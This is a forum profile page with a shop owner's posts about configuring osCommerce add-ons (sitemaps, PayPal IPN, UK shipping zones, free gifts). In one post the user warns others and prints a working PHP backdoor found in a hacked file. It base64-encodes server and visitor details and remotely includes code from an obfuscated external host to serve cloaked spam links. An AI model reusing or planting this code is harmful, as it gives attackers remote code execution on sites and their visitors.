Jump to content

andytc

Members
  • Content count

    248
  • Joined

  • Last visited

Everything posted by andytc

  1. andytc

    Dynamic SiteMap

    Ok , just did a fresh install of Osc for windows server , installed this contrib to the letter added SQL , no other mods added and still the same result in admin/tools/sitemap - '.TEXT_EXCLUDE_FOR_UNREG.tep_draw_radio_field('ex_type','unreg');?> '.TEXT_EXCLUDE_FOR_UNREG.tep_draw_radio_field('ex_type','unreg');?> '.$exclude['exclude_file'].' ('.( $exclude['exclude_type'] == 1 ? TEXT_ALL : TEXT_UNREG ).') '.TEXT_INCLUDE.' '; } ?> '.$exclude['exclude_file'].' ('.( $exclude['exclude_type'] == 1 ? TEXT_ALL : TEXT_UNREG ).') '.TEXT_INCLUDE.' '; } ?> And on the catalog page - # ', $parent_group_end_string = ' ', $child_start_string = '', $child_end_string = ' ', $spacer_string = '', $spacer_multiplier = 1; function osC_CategoryTree($load_from_database = true) { global $languages_id; $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.categories_id = cd.categories_id and cd.language_id = '" . (int)$languages_id . "' order by c.parent_id, c.sort_order, cd.categories_name"); $this->data = array(); while ($categories = tep_db_fetch_array($categories_query)) { $this->data[$categories['parent_id']][$categories['categories_id']] = array('name' => $categories['categories_name'], 'count' => 0);} } //end class osC_CategoryTree function buildBranch($parent_id, $level = 0) { $result = $this->parent_group_start_string; //starts the * tag if (isset($this->data[$parent_id])) { foreach ($this->data[$parent_id] as $category_id => $category) { $category_link = $category_id; $result .= $this->child_start_string; // prints if (isset($this->data[$category_id])) {$result .= $this->parent_start_string;} //prints nothing if ($level == 0) {$result .= $this->root_start_string;} //prints nothing $result .= str_repeat($this->spacer_string, $this->spacer_multiplier * $level) . ''; $result .= $category['name']; $result .= ''; if ($level == 0) {$result .= $this->root_end_string;} //prints nothing if (isset($this->data[$category_id])) {$result .= $this->parent_end_string;} //prints if (isset($this->data[$category_id]) && (($this->max_level == '0') || ($this->max_level > $level+1))) { $result .= $this->buildBranch($category_id, $level+1);} $result .= $this->child_end_string; //prints }// end foreach } // end if (isset $result .= $this->parent_group_end_string; // return $result; } //end function function buildTree() { return $this->buildBranch($this->root_category_id);}} ?> Fatal error: Class 'osC_CategoryTree' not found in D:\home\mysite\dynamic_sitemap.php on line 58 Cant work out where it's getting "D:\home\mysite\dynamic_sitemap.php" from ? not seen D:\ before ?? ?
  2. andytc

    Dynamic SiteMap

    In admin getting this displayed in "tools" sitemap - '.TEXT_EXCLUDE_FOR_UNREG.tep_draw_radio_field('ex_type','unreg');?> '.TEXT_EXCLUDE_FOR_UNREG.tep_draw_radio_field('ex_type','unreg');?> '.$exclude['exclude_file'].' ('.( $exclude['exclude_type'] == 1 ? TEXT_ALL : TEXT_UNREG ).') '.TEXT_INCLUDE.' '; } ?> '.$exclude['exclude_file'].' ('.( $exclude['exclude_type'] == 1 ? TEXT_ALL : TEXT_UNREG ).') '.TEXT_INCLUDE.' '; } ?>
  3. andytc

    Dynamic SiteMap

    Ok , just to check , i un-installed seo urls and the problem remains ?
  4. andytc

    Dynamic SiteMap

    Hi jack I've triple checked all the install files and everything is fine. The file "category_tree.php" is in the correct location. ie home/mysite/includes/classes/category_tree.php I've had this mod working fine on another sever (linux). I'm trying to set up Osc on a new windows server. The very first MODS i've installed are HTC and SEO URL's , followed by Dynamic site map. Before this fresh install i ported over my existing shop which is modified and has a working dynamic site map and HTC, as soon as i added SEO URL's (Chemo) , it would no longer function and gave the error as above. Thats why i decided to try a clean install. I used the SEO URL contrib for a windows server (V1.4) using the cname-cpath method of changing the URL. any ideas where i'm going wrong?
  5. andytc

    Dynamic SiteMap

    I'm having similar problems as others have posted here with - Fatal error: Class 'osC_CategoryTree' not found in \home\mysite\dynamic_sitemap.php on line 58 anyone know the fix for this? i assume this mod is compatible with HTC and SEO Urls using the cname cpath method on a windows server ?
  6. have you checked out the catalog/includes file imagemagic.php and changed that ? this bit - $server=DB_SERVER; # host name of server running MySQL $user=DB_SERVER_USERNAME; # existing login username for mysql $password=DB_SERVER_PASSWORD; # login password for mysql username $dbname=DB_DATABASE; # name of existing database to use ?
  7. Thanks equilla. I've changed that and now get a report of 4 reffererals for that Key Word when clicked on by me. But..... :blush: This is my PPC array now - $ppc = array ('googlead' => array ('title' => 'Google Adwords', 'keywords' => 'rcb:radio control boats')); $ppc = array ('goshopping' => array ('title' => 'GoShopping.com', 'keywords' => 'mstruck:mstruck')); and so my urls for each of those are - http://mysite.com/index.php?cPath=27&ref=googlead&keyw=rcb http://mysite.com/product_info.php?cPath=23&products_id=46&ref=goshopping&keyw=mstruck I end up with these reports ....but only one at at time. It shows only the first one in the array at a time - Google Adwords - Total Referrals 4 radio control boats : Refferals , Average Time: mins, Average Clicks: Go Shopping.com - Total Referrals 0 mstruck : Refferals , Average Time: mins, Average Clicks: I think my array code is wrong , as only one PPC campaign will show at once in admin , one seems to cancel out the other. ??
  8. I'm looking for some help with the PPC area of this mod. I've set it up correctly...i think :-" , and i've had a good read through this thread. The problem is clicks on my ad in google adwords are not being recorded in this mod ? is this correct for the search phrase "radio control boats"? $ppc = array ('googlead' => array ('title' => 'Google Adwords', 'keywords' => 'rcb:radio_control_boats')); My link in google looks like this - http://mysite.com/index.php?cPath=27ref=googlead&keyw=radio_control_boats And the link generated by google when i click on the ad and arrive at my site looks like - http://mysite.com/index.php?cPath=27ref=googlead&keyw=radio_control_boats&gclid=CLxvfrGet4dCESxZQglouiUiDX But the PPC log in admin shows no clicks for that search term ? Is it a www. - non www. problem ? it shows me in the list of last ten visitors as coming via that link, but nothing in the PPC section. I'd like to get this setup , but don't want to carry on untill i kow i'm doing this the right way ? :blush: ?
  9. andytc

    Paypal IPN

    I have a similar issue with paypal at the moment. The IPN module was working fine , then suddenly , orders and payments started coming through with no address in the Instant Payment notification e-mail, it all shows fine in admin , which is just as well. Don't know what has happened , as I have not changed anything to do with the IPN module , i contacted paypal and they didn't have a clue (basically a home tele worker with a baby screaming in the background). I have the same concrens as you , re- the seller protection policy.
  10. andytc

    UK Delivery Regions - Seperate Prices

    Cheers daz.... is this what you mean ? , change this ...... INSERT INTO zones (zone_id, zone_country_id, zone_code, zone_name) VALUES (22, 222, "CAER", "Caerphilly"); to this....... INSERT INTO zones (zone_id, zone_country_id, zone_code, zone_name) VALUES (22, 222, "Caerphilly", "Caerphilly");
  11. andytc

    UK Delivery Regions - Seperate Prices

    and just a quick question from me ...... is it possible to display the full county name in the customers address during the checkout process, rather than the abbreviation ? it shows on orders with the full county name in admin.
  12. andytc

    UK Delivery Regions - Seperate Prices

    When you enable the module which method are you using to calculate the shipping ....is it weight?
  13. andytc

    UK Delivery Regions - Seperate Prices

    :blush: :blush: Sorry Daz , my mistake , it's all working perfectly now on my test site. I shall install it on my main site tonight. :thumbsup:
  14. andytc

    UK Delivery Regions - Seperate Prices

    This is currently the only shipping method available to use on this order. UK Standard Delivery No delivery available to the selected location Did all the above , still getting this erorr. no option appears for a "choose from pull down box" ..only after going into change address option
  15. andytc

    UK PayPal

    I use paypal as a payment option in the uk, i agree about the fees , i always hate paypal payments that dont have a paypal account. protx is a good option to have as it's very cheap with no transaction charges for low volume sales...just ?23.00 per month inc VAT and upto ?1,500 in transactions with no charges...go over that and it's 50p a transaction , still very good. On-line terminal service if you need it.
  16. andytc

    Paypal not returning to Site with auto return on

    I wouldn't worry about it too much , there are so many variables to consider when problems occur with an OSc Mod. I still use paypal IPN on my site and it has been working fine , the problem i have is just the address not showing in the confirm e-mail. First off , paypal say that it doesn't show anymore in e-mails for security reasons , but they haven't yet explained why it doesn't show in the History tab in my paypal account.......typical , but no real problem for now. I would go ahead and install the latest IPN Module, if it doesn't work for you , you can just disable it . The original Paypal module remains in place in admin so you can just switch back. :)
  17. andytc

    Paypal not returning to Site with auto return on

    I think you might need the paypal IPN module.
  18. andytc

    PayPal IPN - Order Status NOT updating all of a sudden

    I have addresses not being passed over now ? , was all fine untill recently. The payment goes through , but the address field in the paypal notification e-mail and the transaction details at paypal are blank ? I have the address in the customers sign up details in the database. ??
  19. Ok , all installed and working.... Problem ? I have set 2 thresholds of spending , ?70 and ?100 , if the cart reaches the ?100 , 2 gifts show up ? , one for the ?70 carrot and also the ?100 gift as well ? How can i only allow 1 gift per cart ? cheers
  20. I'd like to use this mod , but i want to offer exisiting products as free gifts once the threshold price is reached. Is it possible to use existing products as free gifts ? will I have to re-name and create a new catagorie for this ? any help appreciated before i begin install... thanks
  21. Hi At the moment i offer free shipping in my home country (UK) , but i would like to expand this to include "Europe" and "rest of world". I also need to have specific regions for the UK ie scottish highlands and Islands , N.Ireland , Channel islands etc with seperate prices for those areas. I've looked through nearly every contrib and can't work out the easiest one to use for what i want to acheive. How would i set up a simple 3 zone system ? UK (including it's regions with seperate prices) Europe Rest of world My zones and shipping modules are all standard with no alterations at the moment. Also , what are geo zones and would i need to use these?
  22. Thanks Brian , that did the trick. :thumbsup: I just checked on goggle sitemaps and it is reporting some errors . Denied URLs we found some URLs listed in your sitemap that we cannot accept sitemapcategories.xml sitemapproducts.xml URL's Not under sitemap path - sitemapproducts.xml - http://mydomain.com/product_info.php?products_id=30 URL not under Sitemap path http://mydomain.com/product_info.php?products_id=31 URL not under Sitemap path http://mydomain.com/product_info.php?products_id=33 URL not under Sitemap path URL's Not under sitemap path - sitemapcategories.xml - http://mydomain.com/index.php?cPath=21 URL not under Sitemap path http://mydomain.com/index.php?cPath=23 URL not under Sitemap path http://mydomain.com/index.php?cPath=28 URL not under Sitemap path sitemapindex.xml gets an all clear...... Any clues ??
  23. Hi Surfalot Thanks , i do use SSL on the admin , and the admin dir is re-named. I'm on shared servers , don't know if this would cause a problem. I don't store any card info , it's all done off site , for this very reason. I'll change permissions on those files ..pronto. I'll do a site wide search also , if i find anything else , i'll report back :thumbsup:
  24. Just a heads up here for anyone interested. First off , let me say , this contrib works fine and i have no problem with it at all . I appear to have been hacked recently , how ?, i dont know , but more importantly is the file that was hacked - includes/languages/english/header_tags.hp I found this code inserted at the very end of that file - error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g). ".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw=="). base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str);} How it got there is a mystery , if any one has any clues or insight i'd be happy to hear from you , or if you recognise this code from somewhere , another contrib maybe...please PM me. What does it do ? It adds cloaked links to your site (porn and warez), that are only visible to search bots , like google or msn etc . I found it by accident , so god knows how long it had been there, i only discovered it by clicking on view "cached page" in google and msn search results, they wont show using a normal browser , unless you switch user agents and pretend to be googlebot or msn (mozilla has a plugin to do this). I'm sure this a problem local to me , and probably you'll never come across it , just wanted to give you a heads up on this. Again , this is a sound contrib and i'm still using it , and i have no reason to beleive it was anything to do with this contrib AT ALL..
  25. I Installed this contrib and it seemed to go well , i got the correct success messages , but the XML files in my catalog DIR were empty ? However , when i was uploading some files via ftp , i noticed copies of the XML files in the /publichtml/ root, i checked these and they were all correct ! , but how did they end up there ? and how do i get hem to fill properly in the catalog DIR ? the copies are named like this - public_htmlsitemapcategories.xml public_htmlsitemapindex.xml public_htmlsitemapproducts.xml all filled out correctly , just in the wrong place , i folowed the install to the letter. any clues ? I dont have the Ultimate SEO URLs installed , only the header tags controller contrib
×